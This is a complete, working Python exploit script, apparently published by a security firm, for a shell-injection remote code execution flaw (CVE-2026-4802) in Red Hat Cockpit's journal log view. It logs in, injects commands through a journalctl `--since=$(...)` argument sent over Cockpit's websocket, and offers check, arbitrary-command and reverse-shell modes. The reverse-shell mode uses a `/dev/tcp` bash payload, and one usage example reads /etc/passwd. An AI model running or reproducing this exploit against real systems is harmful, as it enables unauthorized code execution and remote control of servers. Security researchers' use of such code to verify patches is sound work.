Red Hat Cockpit `logsJournal.jsx` Shell Injection RCE (CVE-2026-4802)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212

#!/usr/bin/env python3 -u
from __future__ import annotations

import argparse
import asyncio
import base64
import json
import os
import socket
import sys
import urllib.request
from urllib.parse import urlparse

from websockets.asyncio.client import ClientConnection, connect
from websockets.typing import Subprotocol

os.environ["PYTHONUNBUFFERED"] = "1"

banner: str = """
_____________________________________________________________________________________
______  ___  _________ ___ ____  _____
___  / / /_/   |___/ //_/_/   |__/   _/ / Cockpit Comand injection loadServiceFilters/
__  /_/ /__ /| |__  , <__  /| |  _/ /  /                                           /
_  __  /_  ___ |_  /| |_  ___ |__/ /  /     https://hakaisecurity.io              /
/_/ /_/ /_/  |_|/_/ |_|/_/  |_|/___/ /                                           /
________________________________________________________________________________
"""


def authenticate(base_url: str, user: str, password: str, proxy: str | None = None) -> str:
    token: str = base64.b64encode(f"{user}:{password}".encode()).decode()
    req: urllib.request.Request = urllib.request.Request(
        f"{base_url}/cockpit/login",
        headers={"Authorization": f"Basic {token}"})
    if proxy:
        handler = urllib.request.ProxyHandler({"http": proxy, "https": proxy})
        opener = urllib.request.build_opener(handler)
        resp = opener.open(req)
    else:
        resp = urllib.request.urlopen(req)
    cookie: str = resp.headers.get("Set-Cookie", "").split(";")[0]
    if not cookie:
        raise RuntimeError("No session cookie returned")
    return cookie


def build_injection(shell_cmd: str) -> str:
    payload: str = f"$({shell_cmd})"
    args: list[str] = [
        "journalctl", "-q", "--no-tail", "--output=verbose",
        "PAYLOAD_PLACEHOLDER", "--priority=err", "--reverse", "--"]
    cmd: str = " ".join(i.replace(" ", "\\ ") for i in args)
    cmd = cmd.replace("PAYLOAD_PLACEHOLDER", f"--since={payload}")
    return "set -o pipefail; " + cmd + " | grep SYSLOG_IDENTIFIER= | sort -u"


def _proxy_tunnel(proxy: str, target_host: str, target_port: int) -> socket.socket:
    p = urlparse(proxy)
    sock = socket.create_connection((p.hostname or "127.0.0.1", p.port or 8080))
    connect_req = f"CONNECT {target_host}:{target_port} HTTP/1.1\r\nHost: {target_host}:{target_port}\r\n\r\n"
    sock.sendall(connect_req.encode())
    resp = sock.recv(4096)
    if b"200" not in resp:
        raise RuntimeError(f"Proxy CONNECT failed: {resp.decode()}")
    return sock


async def ws_connect(base_url: str, cookie: str, proxy: str | None = None) -> ClientConnection:
    ws_url: str = base_url.replace("http", "ws", 1) + "/cockpit/socket"
    headers = {"Cookie": cookie, "Origin": base_url}
    protos = [Subprotocol("cockpit1")]
    if proxy:
        target = urlparse(base_url)
        host: str = target.hostname or "localhost"
        port: int = target.port or (443 if target.scheme == "https" else 80)
        sock = _proxy_tunnel(proxy, host, port)
        ws = await connect(ws_url, additional_headers=headers,
                           subprotocols=protos, sock=sock)
    else:
        ws = await connect(ws_url, additional_headers=headers,
                           subprotocols=protos)
    await ws.send("\n" + json.dumps({
        "command": "init", "version": 1,
        "channel-seed": "poc", "host": "localhost"}))
    await asyncio.wait_for(ws.recv(), timeout=10)
    return ws


async def ws_spawn(ws: ClientConnection, channel: str, spawn_args: list[str],
                   superuser: str = "try") -> str:
    await ws.send("\n" + json.dumps({
        "command": "open", "channel": channel,
        "payload": "stream",
        "spawn": spawn_args,
        "superuser": superuser}))

    result: str = ""
    try:
        for _ in range(15):
            msg = await asyncio.wait_for(ws.recv(), timeout=5)
            if isinstance(msg, str) and not msg.startswith("\n"):
                parts: list[str] = msg.split("\n", 1)
                if len(parts) > 1 and parts[0] == channel:
                    result += parts[1]
    except (asyncio.TimeoutError, Exception):
        pass
    return result


async def mode_check(base_url: str, cookie: str, proxy: str | None = None) -> None:
    print("[*] CHECK verifying command injection\n")
    proof: str = "/tmp/cockpit-rce-check"
    cmd: str = build_injection(f"id>{proof}")
    print(f"  injection: --since=$(id>{proof})")
    print(f"  bash cmd : {cmd[:80]}...\n")

    ws: ClientConnection = await ws_connect(base_url, cookie, proxy)
    await ws_spawn(ws, "inject", ["/bin/bash", "-ec", cmd])
    await asyncio.sleep(1)
    result: str = await ws_spawn(ws, "read", ["cat", proof])
    await ws.close()

    if result and result.strip():
        print("  [!] VULNERABLE RCE confirmed")
        print(f"  {result.strip()}")
    else:
        print("  [-] Not exploitable (proof file not created)")
        sys.exit(1)


async def mode_exec(base_url: str, cookie: str, shell_cmd: str, proxy: str | None = None) -> None:
    print(f"[*] EXEC {shell_cmd}\n")
    outfile: str = "/tmp/.cockpit-rce-out"
    cmd: str = build_injection(f"{shell_cmd}>{outfile}")

    ws: ClientConnection = await ws_connect(base_url, cookie, proxy)
    await ws_spawn(ws, "inject", ["/bin/bash", "-ec", cmd])
    await asyncio.sleep(1)
    result: str = await ws_spawn(ws, "read", ["cat", outfile])
    await ws.close()

    if result:
        print(result.rstrip())
    else:
        print("  [-] No output (command may have failed)")


async def mode_reverse(base_url: str, cookie: str, lhost: str, lport: int, proxy: str | None = None) -> None:
    print(f"[*] REVERSE SHELL {lhost}:{lport}\n")
    revshell: str = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    cmd: str = build_injection(revshell)
    print(f"  [*] Start listener first: nc -lvnp {lport}")
    print("  [*] Sending payload...\n")

    ws: ClientConnection = await ws_connect(base_url, cookie, proxy)
    try:
        await ws_spawn(ws, "inject", ["/bin/bash", "-ec", cmd])
    except Exception:
        pass
    await ws.close()
    print("  [*] Payload sent")


def main() -> None:
    print(banner)
    p: argparse.ArgumentParser = argparse.ArgumentParser(
        description="CVE-2026-4802 Cockpit RCE via loadServiceFilters() command injection",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""examples:
  %(prog)s --url http://localhost:9090 --user viewer --pass viewer --mode check
  %(prog)s --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"
  %(prog)s --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "cat /etc/passwd"
  %(prog)s --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444
        """
    )
    p.add_argument("--url", required=True, help="Cockpit base URL")
    p.add_argument("--user", required=True, help="Cockpit username")
    p.add_argument("--pass", dest="password", required=True, help="Cockpit password")
    p.add_argument("--mode", choices=["check", "exec", "reverse"], default="check",
                   help="Exploit mode (default: check)")
    p.add_argument("--cmd", default="id", help="Shell command for exec mode")
    p.add_argument("--lhost", help="Listener host for reverse mode")
    p.add_argument("--lport", type=int, help="Listener port for reverse mode")
    p.add_argument("--proxy", help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    args: argparse.Namespace = p.parse_args()
    base: str = args.url.rstrip("/")

    print(f"[*] Target: {base}")
    if args.proxy:
        print(f"[*] Proxy:  {args.proxy}")
    print(f"[*] Auth:   {args.user}:{'*' * len(args.password)}\n")

    try:
        cookie: str = authenticate(base, args.user, args.password, args.proxy)
        print(f"[+] Authenticated ({cookie[:40]}...)\n")
    except Exception as e:
        print(f"[!] Auth failed: {e}")
        sys.exit(1)

    if args.mode == "check":
        asyncio.run(mode_check(base, cookie, args.proxy))
    elif args.mode == "exec":
        asyncio.run(mode_exec(base, cookie, args.cmd, args.proxy))
    elif args.mode == "reverse":
        if not args.lhost or not args.lport:
            print("[!] --lhost and --lport required for reverse mode")
            sys.exit(1)
        asyncio.run(mode_reverse(base, cookie, args.lhost, args.lport, args.proxy))


if __name__ == "__main__":
    main()